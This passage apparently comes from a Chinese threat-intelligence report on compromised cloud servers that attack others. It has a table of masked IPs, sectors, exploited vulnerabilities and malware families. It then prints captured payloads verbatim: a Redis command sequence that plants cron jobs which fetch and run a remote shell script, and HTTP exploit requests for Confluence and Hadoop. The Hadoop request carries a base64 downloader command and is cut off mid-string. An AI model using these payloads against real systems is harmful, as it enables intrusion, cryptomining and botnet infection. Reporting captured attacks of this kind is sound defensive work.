<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US" style="font-size:11.0pt;color:black">Redis RCE<o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US" style="font-size:11.0pt;color:black">Linux/CoinMiner<o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US" style="font-size:11.0pt;color:black">Linux/TrojanDownloader<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:3;height:10.8pt">
<td nowrap="" style="border:solid #C9C9C9 1.0pt;mso-border-themecolor:accent3;
mso-border-themetint:153;border-top:none;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US" style="font-size:11.0pt;color:black">52.131. *.*<o:p></o:p></span></b></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">上海市</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td nowrap="" style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">微软</span><span lang="EN-US" style="font-size:11.0pt;color:black">Azure<o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">交通运输</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td nowrap="" style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">**</span><span style="font-size:11.0pt;
font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:black">船舶管理系统</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">Redis<o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">Redis RCE<o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">Linux/CoinMiner<o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">Linux/TrojanDownloader<o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">Win64/CoinMiner<o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">Linux/Rootkit<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:4;height:10.8pt">
<td nowrap="" style="border:solid #C9C9C9 1.0pt;mso-border-themecolor:accent3;
mso-border-themetint:153;border-top:none;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US" style="font-size:11.0pt;color:black">119.23. *.*<o:p></o:p></span></b></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">广东省</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td nowrap="" style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">阿里云</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">媒体</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td nowrap="" style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US" style="font-size:11.0pt;color:black">**</span><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">后台管理系统</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US" style="font-size:11.0pt;color:black">HTTP<o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US" style="font-size:11.0pt;color:black">Atlassian Connector preview
RCE<o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US" style="font-size:11.0pt;color:black">Hadoop ResourceManager apps
RCE<o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US" style="font-size:11.0pt;color:black">Linux/TrojanDownloader<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:5;mso-yfti-lastrow:yes;height:10.8pt">
<td nowrap="" style="border:solid #C9C9C9 1.0pt;mso-border-themecolor:accent3;
mso-border-themetint:153;border-top:none;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US" style="font-size:11.0pt;color:black">39.100. *.*<o:p></o:p></span></b></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">北京市</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td nowrap="" style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">阿里云</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">政府机关</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td nowrap="" style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">**</span><span style="font-size:11.0pt;
font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:black">官网</span><span lang="EN-US" style="font-size:
11.0pt;color:black"><o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">**</span><span style="font-size:11.0pt;
font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:black">小程序后台</span><span lang="EN-US" style="font-size:
11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">Redis<o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">Redis RCE<o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">Linux/CoinMiner<o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">Win64/CoinMiner<o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">Linux/Tsunami<o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">Linux/Rootkit<o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">Linux/TrojanDownloader<o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">Python/HackTool<o:p></o:p></span></p>
</td>
</tr>
</tbody></table>
</div><!--kg-card-end: html--><h4 id="1--1">1）**<strong>官网 / 某公司小程序后台管理系统</strong></h4><p>IP地址为39.100.*.*的阿里云服务器在11月4日到11月28日期间扫描Redis服务器的默认TCP/6379端口，发起Redis漏洞攻击并传播恶意挖矿、Tsunami僵尸网络等恶意软件。该云服务器属于“一机多站”的情况，即一个IP地址上搭建了多个网站。其中，一个域名属于**官方网站及其后台管理系统；另一个域名属于北京某公司。经过互联网公开资料搜索，这是一家专门开发面向检察院系统的APP、小程序等的公司。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/image022.jpg" class="kg-image" alt loading="lazy"><figcaption>**小程序后台管理系统</figcaption></figure><p>下面是这个IP利用Redis漏洞的攻击Payload样例（已去除空行）。</p><!--kg-card-begin: markdown--><pre><code>*1
$7
COMMAND
*4
$6
config
$3
set
$10
dbfilename
$9
backup.db
*1
$4
save
*4
$6
config
$3
set
$27
stop-writes-on-bgsave-error
$2
no
*1
$8
flushall
*3
$3
set
$7
backup1
$72
*/2 * * * * cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh
*3
$3
set
$7
backup2
$74
*/3 * * * * wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh
*3
$3
set
$7
backup3
$90
*/4 * * * * curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh
*3
$3
set
$7
backup4
$90
*/5 * * * * wd1 -q -O- http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*4
$6
config
$3
set
$3
dir
$24
/var/spool/cron/crontabs
*1
$4
save
*1
$8
flushall
*3
$3
set
$7
backup1
$77
*/2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh
*3
$3
set
$7
backup2
$79
*/3 * * * * root wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh
*3
$3
set
$7
backup3
$95
*/4 * * * * root curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh
*3
$3
set
$7
backup4
$95
*/5 * * * * root wd1 -q -O- http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh
</code></pre>
<!--kg-card-end: markdown--><h4 id="2--1">2）某报社的后台管理系统</h4><p>IP地址为119.23.*.*的阿里云服务器，在11月15日出现过在互联网上利用Atlassian Connector preview RCE和Hadoop ResourceManager apps RCE两个漏洞攻击的行为。该IP地址绑定了的相关域名上有网站“**后台管理系统”，网站界面如下图所示。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/--.png" class="kg-image" alt loading="lazy"><figcaption>**后台管理系统</figcaption></figure><p>以下分别展示了攻击者用这两个漏洞的攻击Payload。</p><p>攻击者利用Atlassian Connector preview RCE漏洞（CVE-2019-3396）：</p><!--kg-card-begin: markdown--><pre><code>POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: {target}:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Content-Length: 4392
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/json
Referer: http://{target}:8090/pages/resumedraft.action?draftId=0&draftShareId=00000000-0000-0000-0000-000000000000&
Accept-Encoding: gzip
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</code></pre>
<!--kg-card-end: markdown--><p>攻击者利用Hadoop ResourceManager apps RCE漏洞：</p><!--kg-card-begin: markdown--><pre><code>POST /ws/v1/cluster/apps HTTP/1.1
Host: {target}:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Content-Length: 3302
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/json
Accept-Encoding: gzip
{
"application-id": "application_1526990652950_72948",
"application-name": "8jfb3ajy",
"am-container-spec": { "commands": { "command": "echo Yz1odHRwOi8vMTk0LjE0NS4yMjcuMjEvbGRyLnNoP2Y5ZWRhYQpleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmZvciBpIGluICQocHMgLWVmIHwgZ3JlcCBhdGxhc3NpYW4gfCBhd2sgJ3twcmludCAkMn0nKTsgZG8KICBpZiBscyAtYWwgL3Byb2MvJGkgfCBncmVwIGV4ZSB8IGdyZXAgIi91c3IvYmluL3BlcmxcfC9kZXYvc2htIjsgdGhlbgogICAga2lsbCAtOSAkaQogIGZpCmRvbmUKCnBraWxsIC05IHJ1bXBvc3RncmVzd2sKcGtpbGwgLTkgLWYgJ1wuL1wuJwpwa2lsbCAtOSAtZiAnL3RtcC9cLicKcGtpbGwgLTkgLWYga2VybmVseApwa2lsbCAtOSAtZiBwb3N0Z3Jlcy1zeXN0ZW0KCnBraWxsIC05IC1mIHBvc3RncmVzLWtlcm5lbAoKaWYgWyAhIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIC1hICEgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIGNkIC90bXAgfHwgY2QgL3Zhci90bXAKICBjaGF0dHIgLWkgZDsgY2hhdHRyIC1pIGRscjsgcm0gLXJmIGQgZGxyCiAgZWNobyBmMFZNUmdFQkFRQUFBQUFBQUFBQUFBSUFBd0FCQUFBQUpJTUVDRFFBQUFETUF3QUFBQUFBQURRQUlBQURBQ2dBQlFBRUFBRUFBQUFBQUFBQUFJQUVDQUNBQkFpckF3QUFxd01BQUFVQUFBQUFFQUFBQVFBQUFLd0RBQUNza3dRSXJKTUVDQUFBQUFBRUFBQUFCZ0FBQUFBUUFBQlI1WFJrQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBR0FBQUFCQUFBQUZXSjVRKzJWUWdQdGtVTUQ3Wk5FTUhpR01IZ0VBbkNEN1pGRk1IaENGMEp3Z25SaWN